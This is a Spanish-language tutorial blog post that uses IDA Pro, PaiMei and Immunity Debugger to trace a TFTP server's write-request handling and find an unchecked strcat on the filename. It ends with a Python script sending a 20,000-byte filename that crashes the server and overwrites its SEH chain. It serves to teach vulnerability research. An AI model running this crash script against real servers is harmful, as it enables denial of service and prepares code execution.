Hoy vamos a hablar de un método para buscar vulnerabilidades usando ingeniería inversa con IDA PRO y Paimei.Paimei es un framework hecho en python que utiliza python debugger (Pydbg).En lo que nos ayudará Paimei es en ver en que bloques de las funciones del código hemos accedido realizando alguna acción concreta sobre la aplicación.También podemos utilizarlo para fuzzing y ver que cantidad de bloques y funciones hemos asignado y poder así visualizar las zonas de la aplicación que no estamos probando para buscar vulnerabilidades, pero esta parte del fuzzing la veremos en otro momento.
Nota: Para hacer algo parecido podemos usar Binnavi(de pago) o Mynav (gratuito) que ya los veremos mas adelante.
Lo que vamos a hacer en este post es analizar una aplicación de un servidor TFTP.Vamos a realizar alguna acción normal del aplicativo y ver en que bloques y funciones hemos accedido y partiendo de esta base intentar buscar alguna vulnerabilidad.
Lo primero vamos a echar un vistazo al RFC del protocolo TFTP para ver cosas que podemos probar -> http://tools.ietf.org/html/rfc1350
I. Appendix
Order of Headers
2 bytes
----------------------------------------------------------
| Local Medium | Internet | Datagram | TFTP Opcode |
----------------------------------------------------------
TFTP Formats
Type Op # Format without header
2 bytes string 1 byte string 1 byte
-----------------------------------------------
RRQ/ | 01/02 | Filename | 0 | Mode | 0 |
WRQ -----------------------------------------------
2 bytes 2 bytes n bytes
---------------------------------
DATA | 03 | Block # | Data |
---------------------------------
2 bytes 2 bytes
-------------------
ACK | 04 | Block # |
--------------------
2 bytes 2 bytes string 1 byte
----------------------------------------
ERROR | 05 | ErrorCode | ErrMsg | 0 |
----------------------------------------
En este caso, vamos a probar a enviar una peticion de escritura de fichero:
mode = "netascii"
packet = "\x00\x02" + filename + "\x00" + mode + "\x00"
Para instalar paimei hay varias guías por internet -> http://pedramamini.com/PaiMei/docs/installation.html
Y vamos a hacer los siguientes pasos:
Abrimos el binario con IDA y una vez realizo el analisis vamos a File-> Script file y ejecutamos el pida_dump.py :
Aceptamos todo por defecto y guardamos el fichero resultante como TFTPServerSP.exe.pida
A continuación abrimos la consola de paimei -> python PAIMEIconsole.pyw
Conectamos con nuestra base de datos (en este caso mysql) y nos vamos al Process Stalker de PAIMEI. Nos vamos a Available targets -> boton secundario -> Add target y lo llamamos TFTP.Ahora sobre nuestro target -> boton secundario -> Add Tag , y lo llamamos File Writing, ya que lo que vamos a probar a enviar el comando TFTP de escribir un fichero nuevo.
Ahora sobre nuestro Tag -> boton secundario -> Use for Stalking
Ahora hacemos click en "Add modules" y añadimos nuestro fichero TFTPServerSP.exe.pida generado con IDA anteriormente.Aquí ya podemos ver como nos informa de que hay 476 funciones y unos 2343 bloques.
A continuación vamos a "Refresh Process list" y elegimos nuestro tftpserver que está arrancado (TFTPServerSP.exe). En Coverage blocks seleccionamos "Basic Blocks" y hacemos click en "Star stalking"
Veremos como el debugger arrancará y ya hará hit en algunos bloques, en este caso se queda parado despues de hacer hit en 22 bloques:
Ahora con el siguiente script en python podemos enviar paquetes para escribir un fichero, concretamente intentamos escribir un fichero con el nombre "AA"
import socket
import sys
host = '127.0.0.1'
port = 69
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)
filename = "A"*2
mode = "netascii"
packet = "\x00\x02" + filename + "\x00" + mode + "\x00"
s.sendto(packet, (host, port))
Una vez ejecutamos el script, vemos como hay un total de 297 hits, ademas podemos ver como en el directorio de instalacion del TFTP se ha escrito un fichero AA de tamaño 0.Ahora pinchamos en "Stop Stalking" para que se guarden los datos en la base de datos.
Ahora en nuestro tag "File Writing" -> boton secundario -> Load hits.
Podemos ver el total de funciones y bloques que se han accedido e incluso el estado de los registros del procesador:
Ahora en el tag "File Writing" -> boton secundario -> export to IDA -> Seleccionamos el color que queremos que nos marque los bloques y le damos a "export IDC" y lo guardamos como TFTP.idc
Ahora volvemos a cargar el binario en IDA PRO y una vez termine el analisis vamos a File-> script file -> y ejecutamos el TFTP.idc que hemos generado con Paimei
Podremos ver en el IDA los bloques que se han accedido, en este caso estarán marcados en rojo.
Ahora vamos a intentar buscar alguna vulnerabilidad.Lo primero que vamos a hacer es ver las funciones que importa el binario, nos podemos dar cuenta rápidamente que está hecho en alguna variante de C ya que podemos ver imports a la dll msvcrt , tales como strcpy,memcpy,strcmp , etc.
Si observamos con detalle los imports, podemos observar imports a funciones de ficheros tales como fopen,fwrite,fclose... Tenemos claro que se ha creado un fichero por lo que la función fopen debería haberse utilizado.
Si hacemos doble click en fopen nos traslada al segmento .idata donde están los imports, ahi volvemos a seleccionar fopen y pulsamos "x" para ver las xrefs, es decir, las zonas del binario donde llama a la función fopen:
Si accedemos al primer xrefs , vemos que es un bloque que según PAIMEI no hemos accedido, asi que lo descartamos por ahora(No lo descartamos del todo ya que alguna vez nos podemos encontrar con que PAIMEI no muestra bloques que realmente si han sido accedidos, no es 100% preciso y fiable).
En el segundo xrefs pasa lo mismo, pero en el tercero ya vemos el bloque en rojo, lo que indica que hemos accedido a ese bloque.Podemos partir de ahí.Además podemos ver en el graph overview los bloques que se han accedido, dentro de la función que nos encontramos (sub_404852)
Según podemos ver en el bloque de arriba, vemos que se va a acceder al fichero en modo "rb" , osea en modo "read" y podemos observar que antes llamar a fopen uno de los parametros es el puntero al nombre fichero, por lo que vemos como en EAX se guarda [ebp+arg0] y luego se le añade 20h , por lo que ahí tenemos el puntero a nuestra ruta, nos lo apuntamos, y ya lo veremos mas adelante con un debugger.
.text:00404ED3 mov dword ptr [esp+4], offset aRb ; "rb" accedemos en modo read
.text:00404EDB mov eax, [ebp+arg_0]
.text:00404EDE add eax, 20h ; puntero a fichero
.text:00404EE1 mov [esp], eax ; char *
.text:00404EE4 call fopen
Después del fopen, en EAX tenemos el retorno devuelto por fopen, y se hace una comparación para ver si existe el fichero , y se hace un Jump en función de si es 0 o no el retorno de la función.
.text:00404EE9 mov [ebx+124h], eax
.text:00404EEF mov eax, [ebp+arg_0]
.text:00404EF2 cmp dword ptr [eax+124h], 0 -> comparamos el retorno de fopen con 0
.text:00404EF9 jz loc_404FE8
Tal y como podemos ver, tenemos en rojo el bloque en el que se ha comprobado que el fichero no existe y en este bloque se comprueba el modo de acceso, en este caso se comprueba si es netascii.
Si es netascii (ese es nuestro caso) se va al siguiente bloque:
En este bloque vemos que se llama a fopen en modo "wt" en escritura, al no existir el fichero, lo creará, y vemos que el puntero al nombre del fichero esta donde ya sabíamos:
mov eax, [ebp+arg_0]
add eax, 20h
Hasta ahora no tenemos nada extraño, se comprueba si el fichero existe y si no existe se procede a crear el fichero.En vez de seguir más adelante, vamos a mirar un poco hacia atrás ya que en algún momento se tiene que comprobar el nombre del fichero que estamos intentando escribir.
Si nos vamos un poco más arriba, nos encontramos este bloque interesante:
Donde tenemos un strcpy y un strcat .Podemos comprobar como efectivamente tanto al strcat y al strcpy se les pasa [ebp+arg_0] y luego un add EAX,20h por lo que es el mismo parámetro que se utilizó para el puntero a nombre de fichero del fopen que vimos anteriormente.
mov eax, [ebp+arg_0]
add eax, 20h <- EAX = Puntero a nombre del fichero que se utiliza en fopen
mov [esp], eax ; char *
call strcpy
mov eax, [ebp+arg_0]
mov eax, [eax+12Ch]
mov [esp+4], eax ; char *
mov eax, [ebp+arg_0]
add eax, 20h <- EAX = Puntero a nombre del fichero que se utiliza en fopen
mov [esp], eax ; char *
call strcat
Strcat se utiliza para concatenar y sabemos que uno de los argumentos con los que se llama a la función es el puntero al nombre del fichero.Para saber de una forma y rápida que es lo que se está concatenando podemos utilizar el debugger.
Abrimos el binario con immunity debugger y ponemos un breakpoint en la siguiente dirección, que es cuando se están preparando los argumentos para el strcpy (y posteriormente el strcat)
.text:00404A7D mov dword ptr [esp+4], offset byte_41A570 ; char *
Ya al poner el breakpoint podemos ver realmente que es la constante offset byte_41A570 -> "C:\Archivos de programa\TFTPServer"
Ejecutamos nuestro python script para enviar la petición al servidor tftp y saltará el breakpoint, si vamos avanzando hasta el call strcpy podemos ver como se envía como origen la ruta "C:\Archivos de programa\TFTPServer" y se copia en un buffer destino, en concreto en 006EFB08
A continuación si continuamos con el strcat vemos como origen coge el nombre del fichero que le hemos pasado y como destino el buffer que contiene el "C:\Archivos de programa\TFTPServer" que se copió anteriormente con el strcpy.Es decir, el nombre del fichero que podemos manipularlo se puede copiar en un buffer que está en la pila y parece que no hay comprobación del tamaño, huele a overflow...
Pero vamos a comprobar si más atrás tenemos alguna comprobación del tamaño del nombre del fichero que le pasamos:
Efectivamente parece que hay alguna comprobación se ve como se comprueba el tamaño de alguna cadena con strlen, y esa cadena tiene pinta de ser el nombre del fichero, en este caso es:
.text:00404934 mov eax, [ebp+arg_0]
.text:00404937 mov eax, [eax+12Ch]
Y luego vemos como se comprueba el tamaño devuelto por strlen con un valor en EAX,veamoslo en el debugger:
call strlen
cmp [ebp+var_C], eax
Y como podemos observar, lo que se comprueba es solo si el tamaño del nombre del fichero que le pasamos es 0 , pero no se comprueba si excede de un tamaño, por lo que.. FAIL !
Vamos a ver que pasa si le pasamos un nombre de fichero con un tamaño muy grande:
import socket
import sys
host = '127.0.0.1'
port = 69
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)
filename = "A"*20000 # <- Cambiamos el tamaño del nombre del fichero
mode = "netascii"
packet = "\x00\x02" + filename + "\x00" + mode + "\x00"
s.sendto(packet, (host, port))
Y tal y como podemos ver en el debugger, tenemos un crash, aunque no tenemos control sobre EIP, ya que no sobrescribimos la dirección de retorno en la pila, pero sin embargo vemos algo muy interesante, parece que sobrescribimos la estructura de excepciones (SEH) y ademas podemos ver en el buffer que comentamos anteriormente que se encuentra en la pila como tiene la ruta con el nombre de fichero que le hemos pasado.
Por lo que tenemos un SEH overflow, mas adelante nos escribiremos un exploit para explotar esta vulnerabilidad.
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